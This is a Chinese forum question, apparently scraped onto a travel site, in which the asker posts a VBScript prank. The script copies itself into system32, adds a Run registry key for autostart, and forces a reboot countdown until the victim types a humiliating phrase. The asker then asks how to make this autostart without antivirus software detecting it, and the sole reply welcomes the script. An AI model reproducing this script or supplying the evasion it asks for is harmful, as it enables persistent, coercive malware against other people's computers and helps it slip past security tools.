vbs程序添加到自启动

发布时间:2024-05-07 16:54 发布:上海旅游网

问题描述:

on error resume next
Dim Fso
set Fso=CreateObject("Scripting.FileSystemObject")
fso.getfile(wscript.scriptfullname).copy("C:\WINDOWS\system32\cz.vbs")
Dim wsh
Set wsh = WScript.CreateObject("WScript.Shell")
wsh.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","C:\WINDOWS\system32\cz.vbs","REG_SZ"
while 1=1
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""喊哥哥,不喊哥哥就10秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "哥哥")
a = inputbox ("喊哥哥,就不关机,快撒,说 ""哥哥"" ","喊不喊","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
wend
上面的程序已经可以使文件自启动了,但是任意一款安全软件都会报警,我想问有没有什么语法,使文件添加到自启动里而安全软件不报警!

问题解答:

好玩~~先收下~

热点新闻